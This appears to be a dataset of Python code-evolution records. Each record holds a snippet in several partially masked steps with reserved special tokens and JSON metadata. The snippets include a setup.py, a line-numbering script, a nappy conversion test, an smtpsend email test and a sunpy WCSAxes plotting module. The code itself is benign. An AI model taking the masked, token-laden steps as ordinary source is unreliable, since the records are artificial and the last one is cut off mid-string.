description='Channel modeling in Python',\n url='https://github.com/sgherbst/champ',\n author='Steven Herbst',\n author_email='sherbst@stanford.edu',\n packages=['champ'],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'numpy',\n 'scipy',\n 'matplotlib',\n 'mpltools',\n 'scikit-rf'\n ]\n)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> with open('dwarfs.txt') as fh: i = 1 for line in fh: print('[%d] %s' % (i, line)) i += 1 <|reserved_special_token_1|> with open('dwarfs.txt') as fh: i = 1 for line in fh: print("[%d] %s" % (i, line)) i += 1
flexible
{ "blob_id": "18c4c1e1ee0df835895397488b270a47b1620c30", "index": 8032, "step-1": "<mask token>\n", "step-2": "with open('dwarfs.txt') as fh:\n i = 1\n for line in fh:\n print('[%d] %s' % (i, line))\n i += 1\n", "step-3": "with open('dwarfs.txt') as fh:\n i = 1\n for line in fh:\n print(\"[%d] %s\" % (i, line))\n i += 1\n\t\t", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
import os from .common import cached_outputs, data_files, test_outputs import nappy.nc_interface.na_to_nc import nappy.nc_interface.nc_to_na def test_convert_nc_2010_to_na_2310(): ffi_in, ffi_out = (2010, 2310) infile = os.path.join(cached_outputs, f"{ffi_in}.nc") outfile = os.path.join(test_outputs, f"{ffi_out}_from_nc_{ffi_in}.na") # Reading: infile x = nappy.nc_interface.nc_to_na.NCToNA(infile, requested_ffi=ffi_out) # Writing: outfile x.writeNAFiles(outfile, delimiter=",", float_format="%g")
normal
{ "blob_id": "0de657ee173b606ad61d614a6168c00fcd571a70", "index": 74, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef test_convert_nc_2010_to_na_2310():\n ffi_in, ffi_out = 2010, 2310\n infile = os.path.join(cached_outputs, f'{ffi_in}.nc')\n outfile = os.path.join(test_outputs, f'{ffi_out}_from_nc_{ffi_in}.na')\n x = nappy.nc_interface.nc_to_na.NCToNA(infile, requested_ffi=ffi_out)\n x.writeNAFiles(outfile, delimiter=',', float_format='%g')\n", "step-3": "import os\nfrom .common import cached_outputs, data_files, test_outputs\nimport nappy.nc_interface.na_to_nc\nimport nappy.nc_interface.nc_to_na\n\n\ndef test_convert_nc_2010_to_na_2310():\n ffi_in, ffi_out = 2010, 2310\n infile = os.path.join(cached_outputs, f'{ffi_in}.nc')\n outfile = os.path.join(test_outputs, f'{ffi_out}_from_nc_{ffi_in}.na')\n x = nappy.nc_interface.nc_to_na.NCToNA(infile, requested_ffi=ffi_out)\n x.writeNAFiles(outfile, delimiter=',', float_format='%g')\n", "step-4": "import os\n\nfrom .common import cached_outputs, data_files, test_outputs\n\nimport nappy.nc_interface.na_to_nc\nimport nappy.nc_interface.nc_to_na\n\n\ndef test_convert_nc_2010_to_na_2310():\n ffi_in, ffi_out = (2010, 2310)\n\n infile = os.path.join(cached_outputs, f\"{ffi_in}.nc\")\n outfile = os.path.join(test_outputs, f\"{ffi_out}_from_nc_{ffi_in}.na\")\n\n # Reading: infile\n x = nappy.nc_interface.nc_to_na.NCToNA(infile, requested_ffi=ffi_out)\n\n # Writing: outfile\n x.writeNAFiles(outfile, delimiter=\",\", float_format=\"%g\")\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> S.sendemail(""" this is a test! """) <|reserved_special_token_1|> <|reserved_special_token_0|> S = smtpsend.Smtpsent(SUBJECT='Test') S.sendemail(""" this is a test! """) <|reserved_special_token_1|> import smtpsend S = smtpsend.Smtpsent(SUBJECT='Test') S.sendemail(""" this is a test! """) <|reserved_special_token_1|> #! /usr/bin/env python import smtpsend S = smtpsend.Smtpsent(SUBJECT='Test') S.sendemail(''' this is a test! ''')
flexible
{ "blob_id": "7754974e79202b2df4ab9a7f69948483042a67cc", "index": 855, "step-1": "<mask token>\n", "step-2": "<mask token>\nS.sendemail(\"\"\"\nthis is a test!\n\"\"\")\n", "step-3": "<mask token>\nS = smtpsend.Smtpsent(SUBJECT='Test')\nS.sendemail(\"\"\"\nthis is a test!\n\"\"\")\n", "step-4": "import smtpsend\nS = smtpsend.Smtpsent(SUBJECT='Test')\nS.sendemail(\"\"\"\nthis is a test!\n\"\"\")\n", "step-5": "#! /usr/bin/env python\n\nimport smtpsend\n\nS = smtpsend.Smtpsent(SUBJECT='Test')\nS.sendemail('''\nthis is a test!\n''')\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def is_wcsaxes(axes): """ Tests a `matplotlib.axes.Axes` object to see if it is an instance of `~astropy.visualization.wcsaxes.WCSAxes`. Parameters ---------- axes : `matplotlib.axes` Axes to test. Returns ------- `bool` Result of the test. """ return isinstance(axes, wcsaxes.WCSAxes) def gca_wcs(wcs, fig=None, slices=None): """ Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes` if ``fig`` has no axes. Parameters ---------- wcs : `astropy.wcs.WCS` A `~astropy.wcs.WCS` object used to create a new axes. fig : `matplotlib.figure.Figure` The figure in which to check for the axes. If ``None``, the current figure is used (or a new one created if there are no current figures). slices : `tuple` ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe which two dimensions of the `~astropy.wcs.WCS` object are being plotted. This slices the multidimensional wcs object in the way it needs to be sliced. Returns ------- `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes` The current axes, or a new one if created. """ if not fig: fig = plt.gcf() if not len(fig.get_axes()): ax = plt.axes(projection=wcs, slices=slices) else: ax = plt.gca() return ax <|reserved_special_token_0|> def default_wcs_grid(axes): """ Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid formatting. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world coordinate grid on. """ axes.coords.grid(color='white', alpha=0.6, linestyle='dotted', linewidth=0.5) @u.quantity_input def wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg=10 * u.deg, annotate=True, obstime=None, rsun=None, observer=None, system= 'stonyhurst', **kwargs): """ Create a heliographic overlay using `~astropy.visualization.wcsaxes.WCSAxes`. Will draw a grid and label the top axes. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on. grid_spacing: `~astropy.units.Quantity` Spacing for longitude and latitude grid in degrees. annotate : `bool` Passing `False` disables the axes labels and the ticks on the top and right axes. obstime : `~astropy.time.Time` The ``obstime`` to use for the grid coordinate frame. rsun : `~astropy.units.Quantity` The ``rsun`` to use for the grid coordinate frame. observer : `~astropy.coordinates.SkyCoord` The ``observer`` to use for the grid coordinate frame. Only used for Carrington coordinates. system : str Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'. If 'carrington', the ``observer`` keyword argument must be specified. kwargs : Additional keyword arguments are passed to :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`. Returns ------- `~astropy.visualization.wcsaxes.WCSAxes` The overlay object. Notes ----- Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`. """ if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1: lon_space = lat_space = grid_spacing elif grid_spacing.size == 2: lon_space, lat_space = grid_spacing else: raise ValueError( 'grid_spacing must be a Quantity of length one or two.') if system == 'stonyhurst': overlay = axes.get_coords_overlay(HeliographicStonyhurst(obstime= obstime, rsun=rsun)) elif system == 'carrington': overlay = axes.get_coords_overlay(HeliographicCarrington(obstime= obstime, observer=observer, rsun=rsun)) else: raise ValueError( f"system must be 'stonyhurst' or 'carrington' (got '{system}')") c1, c2 = axes.coords c1.set_ticks_position('bl') c2.set_ticks_position('bl') lon = overlay[0] lat = overlay[1] if Version(astropy_version) >= Version('5.3.dev'): lon.coord_wrap = 180 * u.deg else: lon.coord_wrap = 180 lon.set_major_formatter('dd') if annotate: lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8) lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9) lon.set_ticks_position('tr') lat.set_ticks_position('tr') else: lat.set_ticks_visible(False) lon.set_ticks_visible(False) lat.set_ticklabel_visible(False) lon.set_ticklabel_visible(False) grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5} grid_kw.update(kwargs) tick_color = grid_kw['color'] if 'color' in kwargs else 'k' lon.set_ticks(spacing=lon_space, color=tick_color) lat.set_ticks(spacing=lat_space, color=tick_color) overlay.grid(**grid_kw) if axes.title: x, y = axes.title.get_position() axes.title.set_position([x, y + 0.08]) return overlay <|reserved_special_token_1|> <|reserved_special_token_0|> def is_wcsaxes(axes): """ Tests a `matplotlib.axes.Axes` object to see if it is an instance of `~astropy.visualization.wcsaxes.WCSAxes`. Parameters ---------- axes : `matplotlib.axes` Axes to test. Returns ------- `bool` Result of the test. """ return isinstance(axes, wcsaxes.WCSAxes) def gca_wcs(wcs, fig=None, slices=None): """ Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes` if ``fig`` has no axes. Parameters ---------- wcs : `astropy.wcs.WCS` A `~astropy.wcs.WCS` object used to create a new axes. fig : `matplotlib.figure.Figure` The figure in which to check for the axes. If ``None``, the current figure is used (or a new one created if there are no current figures). slices : `tuple` ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe which two dimensions of the `~astropy.wcs.WCS` object are being plotted. This slices the multidimensional wcs object in the way it needs to be sliced. Returns ------- `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes` The current axes, or a new one if created. """ if not fig: fig = plt.gcf() if not len(fig.get_axes()): ax = plt.axes(projection=wcs, slices=slices) else: ax = plt.gca() return ax def get_world_transform(axes): """ Get the transformation to world coordinates. If the axes is a `~astropy.visualization.wcsaxes.WCSAxes` instance this returns the transform to the "world" coordinates, otherwise it returns the transform to the matplotlib data coordinates, which are assumed to be in world coordinates. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` or `~matplotlib.axes.Axes` The axes to get the transform from. Returns ------- `~matplotlib.transforms.CompositeGenericTransform` The transformation object. """ if is_wcsaxes(axes): transform = axes.get_transform('world') else: transform = axes.transData return transform def default_wcs_grid(axes): """ Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid formatting. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world coordinate grid on. """ axes.coords.grid(color='white', alpha=0.6, linestyle='dotted', linewidth=0.5) @u.quantity_input def wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg=10 * u.deg, annotate=True, obstime=None, rsun=None, observer=None, system= 'stonyhurst', **kwargs): """ Create a heliographic overlay using `~astropy.visualization.wcsaxes.WCSAxes`. Will draw a grid and label the top axes. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on. grid_spacing: `~astropy.units.Quantity` Spacing for longitude and latitude grid in degrees. annotate : `bool` Passing `False` disables the axes labels and the ticks on the top and right axes. obstime : `~astropy.time.Time` The ``obstime`` to use for the grid coordinate frame. rsun : `~astropy.units.Quantity` The ``rsun`` to use for the grid coordinate frame. observer : `~astropy.coordinates.SkyCoord` The ``observer`` to use for the grid coordinate frame. Only used for Carrington coordinates. system : str Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'. If 'carrington', the ``observer`` keyword argument must be specified. kwargs : Additional keyword arguments are passed to :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`. Returns ------- `~astropy.visualization.wcsaxes.WCSAxes` The overlay object. Notes ----- Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`. """ if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1: lon_space = lat_space = grid_spacing elif grid_spacing.size == 2: lon_space, lat_space = grid_spacing else: raise ValueError( 'grid_spacing must be a Quantity of length one or two.') if system == 'stonyhurst': overlay = axes.get_coords_overlay(HeliographicStonyhurst(obstime= obstime, rsun=rsun)) elif system == 'carrington': overlay = axes.get_coords_overlay(HeliographicCarrington(obstime= obstime, observer=observer, rsun=rsun)) else: raise ValueError( f"system must be 'stonyhurst' or 'carrington' (got '{system}')") c1, c2 = axes.coords c1.set_ticks_position('bl') c2.set_ticks_position('bl') lon = overlay[0] lat = overlay[1] if Version(astropy_version) >= Version('5.3.dev'): lon.coord_wrap = 180 * u.deg else: lon.coord_wrap = 180 lon.set_major_formatter('dd') if annotate: lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8) lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9) lon.set_ticks_position('tr') lat.set_ticks_position('tr') else: lat.set_ticks_visible(False) lon.set_ticks_visible(False) lat.set_ticklabel_visible(False) lon.set_ticklabel_visible(False) grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5} grid_kw.update(kwargs) tick_color = grid_kw['color'] if 'color' in kwargs else 'k' lon.set_ticks(spacing=lon_space, color=tick_color) lat.set_ticks(spacing=lat_space, color=tick_color) overlay.grid(**grid_kw) if axes.title: x, y = axes.title.get_position() axes.title.set_position([x, y + 0.08]) return overlay <|reserved_special_token_1|> <|reserved_special_token_0|> __all__ = ['is_wcsaxes', 'gca_wcs', 'get_world_transform', 'default_wcs_grid', 'wcsaxes_heliographic_overlay'] def is_wcsaxes(axes): """ Tests a `matplotlib.axes.Axes` object to see if it is an instance of `~astropy.visualization.wcsaxes.WCSAxes`. Parameters ---------- axes : `matplotlib.axes` Axes to test. Returns ------- `bool` Result of the test. """ return isinstance(axes, wcsaxes.WCSAxes) def gca_wcs(wcs, fig=None, slices=None): """ Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes` if ``fig`` has no axes. Parameters ---------- wcs : `astropy.wcs.WCS` A `~astropy.wcs.WCS` object used to create a new axes. fig : `matplotlib.figure.Figure` The figure in which to check for the axes. If ``None``, the current figure is used (or a new one created if there are no current figures). slices : `tuple` ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe which two dimensions of the `~astropy.wcs.WCS` object are being plotted. This slices the multidimensional wcs object in the way it needs to be sliced. Returns ------- `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes` The current axes, or a new one if created. """ if not fig: fig = plt.gcf() if not len(fig.get_axes()): ax = plt.axes(projection=wcs, slices=slices) else: ax = plt.gca() return ax def get_world_transform(axes): """ Get the transformation to world coordinates. If the axes is a `~astropy.visualization.wcsaxes.WCSAxes` instance this returns the transform to the "world" coordinates, otherwise it returns the transform to the matplotlib data coordinates, which are assumed to be in world coordinates. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` or `~matplotlib.axes.Axes` The axes to get the transform from. Returns ------- `~matplotlib.transforms.CompositeGenericTransform` The transformation object. """ if is_wcsaxes(axes): transform = axes.get_transform('world') else: transform = axes.transData return transform def default_wcs_grid(axes): """ Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid formatting. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world coordinate grid on. """ axes.coords.grid(color='white', alpha=0.6, linestyle='dotted', linewidth=0.5) @u.quantity_input def wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg=10 * u.deg, annotate=True, obstime=None, rsun=None, observer=None, system= 'stonyhurst', **kwargs): """ Create a heliographic overlay using `~astropy.visualization.wcsaxes.WCSAxes`. Will draw a grid and label the top axes. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on. grid_spacing: `~astropy.units.Quantity` Spacing for longitude and latitude grid in degrees. annotate : `bool` Passing `False` disables the axes labels and the ticks on the top and right axes. obstime : `~astropy.time.Time` The ``obstime`` to use for the grid coordinate frame. rsun : `~astropy.units.Quantity` The ``rsun`` to use for the grid coordinate frame. observer : `~astropy.coordinates.SkyCoord` The ``observer`` to use for the grid coordinate frame. Only used for Carrington coordinates. system : str Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'. If 'carrington', the ``observer`` keyword argument must be specified. kwargs : Additional keyword arguments are passed to :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`. Returns ------- `~astropy.visualization.wcsaxes.WCSAxes` The overlay object. Notes ----- Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`. """ if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1: lon_space = lat_space = grid_spacing elif grid_spacing.size == 2: lon_space, lat_space = grid_spacing else: raise ValueError( 'grid_spacing must be a Quantity of length one or two.') if system == 'stonyhurst': overlay = axes.get_coords_overlay(HeliographicStonyhurst(obstime= obstime, rsun=rsun)) elif system == 'carrington': overlay = axes.get_coords_overlay(HeliographicCarrington(obstime= obstime, observer=observer, rsun=rsun)) else: raise ValueError( f"system must be 'stonyhurst' or 'carrington' (got '{system}')") c1, c2 = axes.coords c1.set_ticks_position('bl') c2.set_ticks_position('bl') lon = overlay[0] lat = overlay[1] if Version(astropy_version) >= Version('5.3.dev'): lon.coord_wrap = 180 * u.deg else: lon.coord_wrap = 180 lon.set_major_formatter('dd') if annotate: lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8) lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9) lon.set_ticks_position('tr') lat.set_ticks_position('tr') else: lat.set_ticks_visible(False) lon.set_ticks_visible(False) lat.set_ticklabel_visible(False) lon.set_ticklabel_visible(False) grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5} grid_kw.update(kwargs) tick_color = grid_kw['color'] if 'color' in kwargs else 'k' lon.set_ticks(spacing=lon_space, color=tick_color) lat.set_ticks(spacing=lat_space, color=tick_color) overlay.grid(**grid_kw) if axes.title: x, y = axes.title.get_position() axes.title.set_position([x, y + 0.08]) return overlay <|reserved_special_token_1|> <|reserved_special_token_0|> import matplotlib.pyplot as plt from packaging.version import Version import astropy.units as u from astropy import __version__ as astropy_version from astropy.visualization import wcsaxes from sunpy.coordinates import HeliographicCarrington, HeliographicStonyhurst __all__ = ['is_wcsaxes', 'gca_wcs', 'get_world_transform', 'default_wcs_grid', 'wcsaxes_heliographic_overlay'] def is_wcsaxes(axes): """ Tests a `matplotlib.axes.Axes` object to see if it is an instance of `~astropy.visualization.wcsaxes.WCSAxes`. Parameters ---------- axes : `matplotlib.axes` Axes to test. Returns ------- `bool` Result of the test. """ return isinstance(axes, wcsaxes.WCSAxes) def gca_wcs(wcs, fig=None, slices=None): """ Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes` if ``fig`` has no axes. Parameters ---------- wcs : `astropy.wcs.WCS` A `~astropy.wcs.WCS` object used to create a new axes. fig : `matplotlib.figure.Figure` The figure in which to check for the axes. If ``None``, the current figure is used (or a new one created if there are no current figures). slices : `tuple` ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe which two dimensions of the `~astropy.wcs.WCS` object are being plotted. This slices the multidimensional wcs object in the way it needs to be sliced. Returns ------- `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes` The current axes, or a new one if created. """ if not fig: fig = plt.gcf() if not len(fig.get_axes()): ax = plt.axes(projection=wcs, slices=slices) else: ax = plt.gca() return ax def get_world_transform(axes): """ Get the transformation to world coordinates. If the axes is a `~astropy.visualization.wcsaxes.WCSAxes` instance this returns the transform to the "world" coordinates, otherwise it returns the transform to the matplotlib data coordinates, which are assumed to be in world coordinates. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` or `~matplotlib.axes.Axes` The axes to get the transform from. Returns ------- `~matplotlib.transforms.CompositeGenericTransform` The transformation object. """ if is_wcsaxes(axes): transform = axes.get_transform('world') else: transform = axes.transData return transform def default_wcs_grid(axes): """ Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid formatting. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world coordinate grid on. """ axes.coords.grid(color='white', alpha=0.6, linestyle='dotted', linewidth=0.5) @u.quantity_input def wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg=10 * u.deg, annotate=True, obstime=None, rsun=None, observer=None, system= 'stonyhurst', **kwargs): """ Create a heliographic overlay using `~astropy.visualization.wcsaxes.WCSAxes`. Will draw a grid and label the top axes. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on. grid_spacing: `~astropy.units.Quantity` Spacing for longitude and latitude grid in degrees. annotate : `bool` Passing `False` disables the axes labels and the ticks on the top and right axes. obstime : `~astropy.time.Time` The ``obstime`` to use for the grid coordinate frame. rsun : `~astropy.units.Quantity` The ``rsun`` to use for the grid coordinate frame. observer : `~astropy.coordinates.SkyCoord` The ``observer`` to use for the grid coordinate frame. Only used for Carrington coordinates. system : str Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'. If 'carrington', the ``observer`` keyword argument must be specified. kwargs : Additional keyword arguments are passed to :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`. Returns ------- `~astropy.visualization.wcsaxes.WCSAxes` The overlay object. Notes ----- Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`. """ if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1: lon_space = lat_space = grid_spacing elif grid_spacing.size == 2: lon_space, lat_space = grid_spacing else: raise ValueError( 'grid_spacing must be a Quantity of length one or two.') if system == 'stonyhurst': overlay = axes.get_coords_overlay(HeliographicStonyhurst(obstime= obstime, rsun=rsun)) elif system == 'carrington': overlay = axes.get_coords_overlay(HeliographicCarrington(obstime= obstime, observer=observer, rsun=rsun)) else: raise ValueError( f"system must be 'stonyhurst' or 'carrington' (got '{system}')") c1, c2 = axes.coords c1.set_ticks_position('bl') c2.set_ticks_position('bl') lon = overlay[0] lat = overlay[1] if Version(astropy_version) >= Version('5.3.dev'): lon.coord_wrap = 180 * u.deg else: lon.coord_wrap = 180 lon.set_major_formatter('dd') if annotate: lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8) lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9) lon.set_ticks_position('tr') lat.set_ticks_position('tr') else: lat.set_ticks_visible(False) lon.set_ticks_visible(False) lat.set_ticklabel_visible(False) lon.set_ticklabel_visible(False) grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5} grid_kw.update(kwargs) tick_color = grid_kw['color'] if 'color' in kwargs else 'k' lon.set_ticks(spacing=lon_space, color=tick_color) lat.set_ticks(spacing=lat_space, color=tick_color) overlay.grid(**grid_kw) if axes.title: x, y = axes.title.get_position() axes.title.set_position([x, y + 0.08]) return overlay <|reserved_special_token_1|> """ This module provides functions to make WCSAxes work in SunPy. """ import matplotlib.pyplot as plt from packaging.version import Version import astropy.units as u from astropy import __version__ as astropy_version from astropy.visualization import wcsaxes from sunpy.coordinates import HeliographicCarrington, HeliographicStonyhurst __all__ = ["is_wcsaxes", "gca_wcs", "get_world_transform", "default_wcs_grid", "wcsaxes_heliographic_overlay"] def is_wcsaxes(axes): """ Tests a `matplotlib.axes.Axes` object to see if it is an instance of `~astropy.visualization.wcsaxes.WCSAxes`. Parameters ---------- axes : `matplotlib.axes` Axes to test. Returns ------- `bool` Result of the test. """ return isinstance(axes, wcsaxes.WCSAxes) def gca_wcs(wcs, fig=None, slices=None): """ Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes` if ``fig`` has no axes. Parameters ---------- wcs : `astropy.wcs.WCS` A `~astropy.wcs.WCS` object used to create a new axes. fig : `matplotlib.figure.Figure` The figure in which to check for the axes. If ``None``, the current figure is used (or a new one created if there are no current figures). slices : `tuple` ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe which two dimensions of the `~astropy.wcs.WCS` object are being plotted. This slices the multidimensional wcs object in the way it needs to be sliced. Returns ------- `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes` The current axes, or a new one if created. """ if not fig: fig = plt.gcf() if not len(fig.get_axes()): ax = plt.axes(projection=wcs, slices=slices) else: ax = plt.gca() return ax def get_world_transform(axes): """ Get the transformation to world coordinates. If the axes is a `~astropy.visualization.wcsaxes.WCSAxes` instance this returns the transform to the "world" coordinates, otherwise it returns the transform to the matplotlib data coordinates, which are assumed to be in world coordinates. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` or `~matplotlib.axes.Axes` The axes to get the transform from. Returns ------- `~matplotlib.transforms.CompositeGenericTransform` The transformation object. """ if is_wcsaxes(axes): transform = axes.get_transform('world') else: transform = axes.transData return transform def default_wcs_grid(axes): """ Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid formatting. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world coordinate grid on. """ axes.coords.grid(color='white', alpha=0.6, linestyle='dotted', linewidth=0.5) @u.quantity_input def wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg = 10*u.deg, annotate=True, obstime=None, rsun=None, observer=None, system='stonyhurst', **kwargs): """ Create a heliographic overlay using `~astropy.visualization.wcsaxes.WCSAxes`. Will draw a grid and label the top axes. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on. grid_spacing: `~astropy.units.Quantity` Spacing for longitude and latitude grid in degrees. annotate : `bool` Passing `False` disables the axes labels and the ticks on the top and right axes. obstime : `~astropy.time.Time` The ``obstime`` to use for the grid coordinate frame. rsun : `~astropy.units.Quantity` The ``rsun`` to use for the grid coordinate frame. observer : `~astropy.coordinates.SkyCoord` The ``observer`` to use for the grid coordinate frame. Only used for Carrington coordinates. system : str Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'. If 'carrington', the ``observer`` keyword argument must be specified. kwargs : Additional keyword arguments are passed to :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`. Returns ------- `~astropy.visualization.wcsaxes.WCSAxes` The overlay object. Notes ----- Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`. """ # Unpack spacing if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1: lon_space = lat_space = grid_spacing elif grid_spacing.size == 2: lon_space, lat_space = grid_spacing else: raise ValueError("grid_spacing must be a Quantity of length one or two.") if system == 'stonyhurst': overlay = axes.get_coords_overlay(HeliographicStonyhurst( obstime=obstime, rsun=rsun)) elif system == 'carrington': overlay = axes.get_coords_overlay(HeliographicCarrington( obstime=obstime, observer=observer, rsun=rsun)) else: raise ValueError(f"system must be 'stonyhurst' or 'carrington' (got '{system}')") # Set the native coordinates to be bottom and left only so they don't share # axes with the overlay. c1, c2 = axes.coords c1.set_ticks_position('bl') c2.set_ticks_position('bl') lon = overlay[0] lat = overlay[1] # TODO: Remove when we depend on astropy 5.3 if Version(astropy_version) >= Version("5.3.dev"): lon.coord_wrap = 180 * u.deg else: lon.coord_wrap = 180 lon.set_major_formatter('dd') if annotate: lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8) lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9) lon.set_ticks_position('tr') lat.set_ticks_position('tr') else: lat.set_ticks_visible(False) lon.set_ticks_visible(False) lat.set_ticklabel_visible(False) lon.set_ticklabel_visible(False) grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5} grid_kw.update(kwargs) # Don't plot white ticks by default (only if explicitly asked) tick_color = grid_kw['color'] if 'color' in kwargs else 'k' lon.set_ticks(spacing=lon_space, color=tick_color) lat.set_ticks(spacing=lat_space, color=tick_color) overlay.grid(**grid_kw) if axes.title: x, y = axes.title.get_position() axes.title.set_position([x, y + 0.08]) return overlay
flexible
{ "blob_id": "be1ef0aa3868985bf198781ee827bd447588df15", "index": 606, "step-1": "<mask token>\n\n\ndef is_wcsaxes(axes):\n \"\"\"\n Tests a `matplotlib.axes.Axes` object to see if it is an instance of\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Parameters\n ----------\n axes : `matplotlib.axes`\n Axes to test.\n\n Returns\n -------\n `bool`\n Result of the test.\n \"\"\"\n return isinstance(axes, wcsaxes.WCSAxes)\n\n\ndef gca_wcs(wcs, fig=None, slices=None):\n \"\"\"\n Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes`\n if ``fig`` has no axes.\n\n Parameters\n ----------\n wcs : `astropy.wcs.WCS`\n A `~astropy.wcs.WCS` object used to create a new axes.\n fig : `matplotlib.figure.Figure`\n The figure in which to check for the axes. If ``None``, the current\n figure is used (or a new one created if there are no current figures).\n slices : `tuple`\n ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe\n which two dimensions of the `~astropy.wcs.WCS` object are being plotted.\n This slices the multidimensional wcs object in the way it needs to be sliced.\n\n Returns\n -------\n `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes`\n The current axes, or a new one if created.\n \"\"\"\n if not fig:\n fig = plt.gcf()\n if not len(fig.get_axes()):\n ax = plt.axes(projection=wcs, slices=slices)\n else:\n ax = plt.gca()\n return ax\n\n\n<mask token>\n\n\ndef default_wcs_grid(axes):\n \"\"\"\n Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid\n formatting.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The 